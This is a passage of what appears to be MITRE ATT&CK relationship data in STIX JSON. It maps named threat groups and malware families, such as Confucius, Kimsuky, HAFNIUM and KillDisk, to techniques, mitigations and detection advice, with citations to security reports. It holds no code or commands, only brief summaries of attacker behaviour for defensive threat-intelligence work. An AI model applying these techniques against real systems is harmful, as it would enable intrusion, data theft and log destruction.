["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--985bb7ab-6853-4906-98a0-1945e4504ee8", "created": "2021-12-27T16:53:13.981Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro Confucius APT Aug 2021", "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used a file stealer to steal documents and images with the following extensions: txt, pdf, png, jpg, doc, xls, xlm, odp, ods, odt, rtf, ppt, xlsx, xlsm, docx, pptx, and jpeg.(Citation: TrendMicro Confucius APT Aug 2021)", "modified": "2022-04-18T12:24:52.898Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--985f770f-6068-4c5c-9405-0515e43aeed5", "type": "relationship", "created": "2021-03-04T22:45:03.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Anti Spoofing", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."}, {"source_name": "ACSC Email Spoofing", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}], "modified": "2021-10-18T17:39:13.524Z", "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9866c9ca-d769-458c-9797-112beb97498d", "type": "relationship", "created": "2021-01-25T13:58:25.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:52.988Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--986db6f9-d2ad-4ab9-98b6-5633e101e804", "created": "2022-06-14T15:13:07.388Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used malicious links to lure users into executing malicious payloads.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-19T19:51:28.985Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. 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(2016, September 13). H1N1: Technical analysis reveals new capabilities. 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Retrieved October 4, 2021."}], "modified": "2021-11-16T15:32:34.286Z", "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can configure custom listeners to passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor.(Citation: MSTIC FoggyWeb September 2021)", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--98b90b49-f152-4eb5-8bb7-3b6c68bf9646", "type": "relationship", "created": "2020-11-02T19:33:14.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "VirusBulletin Kimsuky October 2019", "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "modified": "2020-11-05T15:54:26.385Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used JScript for logging and downloading additional tools.(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--98c14ff6-0e71-4cfe-ae3f-bc8a7f0c5260", "created": "2023-03-17T15:23:36.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. 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Retrieved June 10, 2021."}], "modified": "2021-06-11T20:00:32.043Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can use a second channel for C2 when the primary channel is in upload mode.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--98fd9ed1-abf3-4e2f-b071-8aea2dc44a64", "type": "relationship", "created": "2020-05-04T19:13:35.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.457Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can remotely open applications on the infected host with the <code>ShellExecuteA</code> command.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9900f89a-588c-4892-b8f3-74033ce868d5", "created": "2022-04-19T14:01:06.529Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor application logs for suspicious events including repeated MFA failures that may indicate user's primary credentials have been compromised.", "modified": "2022-04-19T14:01:06.529Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99019cb2-58d1-441c-a472-909e48efb71e", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor executed commands and arguments for actions that aid in sniffing network traffic to capture information about an environment, including authentication material passed over the network", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9901b17d-551e-4971-9ff7-7142e7c2bb4e", "type": "relationship", "created": "2019-09-13T13:40:47.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. 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(2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}, {"description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. 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Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can invoke the `Common.Compress` method to compress data with the C# GZipStream compression class.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-15T16:55:57.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9912d67b-153f-428e-9751-e6c09c8de945", "type": "relationship", "created": "2020-03-09T13:17:39.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "description": "Nelson, M. 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The .NET method GetAllTrustRelationships() can be an indicator of Domain Trust Discovery.(Citation: Microsoft GetAllTrustRelationships)", "modified": "2022-04-05T20:03:52.614Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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(2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[DDKONG](https://attack.mitre.org/software/S0255) lists files on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--992d6f04-7454-4211-9a44-a5c87fdb7657", "type": "relationship", "created": "2019-06-28T20:48:52.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Gorelik, M.. (2019, June 10). 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Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2020-03-17T14:47:59.945Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has saved information to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--992ffd2b-bac7-418c-a401-b2be739818c9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. 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Retrieved April 17, 2019."}], "modified": "2019-04-24T23:55:43.387Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) enumerates running processes to search for Wireshark and Windows Sysinternals suite.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9932d0d8-ad06-4a4f-8acf-1502c2b5f009", "type": "relationship", "created": "2020-03-17T23:17:09.427Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Twitter ItsReallyNick APT32 pubprn Masquerade", "url": "https://twitter.com/ItsReallyNick/status/945681177108762624", "description": "Carr, N.. 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Retrieved April 22, 2019."}], "modified": "2020-03-18T19:33:55.186Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has moved and renamed pubprn.vbs to a .txt file to avoid detection.(Citation: Twitter ItsReallyNick APT32 pubprn Masquerade)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99365890-fc6c-46ec-bf1f-66ccbe5d52e7", "type": "relationship", "created": "2020-06-11T16:18:16.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved August 25, 2020."}], "modified": "2020-08-26T18:38:18.208Z", "description": "[Drovorub](https://attack.mitre.org/software/S0502) has de-obsfuscated XOR encrypted payloads in WebSocket messages.(Citation: NSA/FBI Drovorub August 2020)", "relationship_type": "uses", "source_ref": "malware--99164b38-1775-40bc-b77b-a2373b14540a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--994b4e31-eabb-4aa0-b7c1-e0ade6017009", "type": "relationship", "created": "2020-10-20T03:33:23.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:44:43.983Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Retrieved July 15, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has used the `InterlockedExchange`, `SeShutdownPrivilege`, and `ExitWindowsEx` Windows API functions.(Citation: Gh0stRAT ATT March 2019)", "modified": "2022-04-15T15:11:48.534Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--996765a6-6c8a-429d-baa5-32d423fb4207", "type": "relationship", "created": "2021-03-09T16:09:27.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Exchange Zero Days March 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", "description": "Bromiley, M. et al. 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Retrieved March 9, 2021."}], "modified": "2021-03-09T16:09:27.405Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the NT AUTHORITY\\SYSTEM account to create files on Exchange servers.(Citation: FireEye Exchange Zero Days March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. 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Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017"}], "modified": "2020-03-21T00:14:24.136Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.(Citation: FireEye APT34 Webinar Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9968edfb-8501-4954-847d-8f873c78e023", "type": "relationship", "created": "2020-07-15T20:10:03.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. 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(2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", "source_name": "FireEye Clandestine Fox"}, {"url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", "source_name": "FireEye Clandestine Fox Part 2"}], "modified": "2019-04-29T18:01:20.627Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to side load DLLs with a valid version of Chrome with one of their tools.(Citation: FireEye Clandestine Fox)(Citation: FireEye Clandestine Fox Part 2)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99c1668e-3e9c-4da1-8019-59b6c30f010e", "type": "relationship", "created": "2021-01-20T18:10:33.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESEST Black Energy Jan 2016", "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.", "url": "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"}], "modified": "2021-05-04T16:56:40.270Z", "description": "[KillDisk](https://attack.mitre.org/software/S0607) deletes Application, Security, Setup, and System Windows Event Logs.(Citation: ESEST Black Energy Jan 2016)", "relationship_type": "uses", "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99c360a2-7395-46e4-88fc-dbd757bed5bf", "type": "relationship", "created": "2021-12-06T16:30:49.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T16:30:49.164Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99c87be1-d8f1-4b41-836f-8811628c4b80", "type": "relationship", "created": "2020-12-23T19:10:21.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}, {"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}], "modified": "2020-12-29T20:30:01.677Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99cb12cb-5d0b-4afe-9f8b-81bcdf8ed486", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99cfee83-7db8-44c1-8fd8-75bc1c67d17c", "type": "relationship", "created": "2021-03-19T13:38:12.533Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:38:12.533Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connections on the target machine.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--99dfbbaa-5e58-4a03-9b94-fb6962681ce3", "type": "relationship", "created": "2020-06-23T19:30:44.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}], "modified": "2020-06-24T01:11:43.031Z", "description": 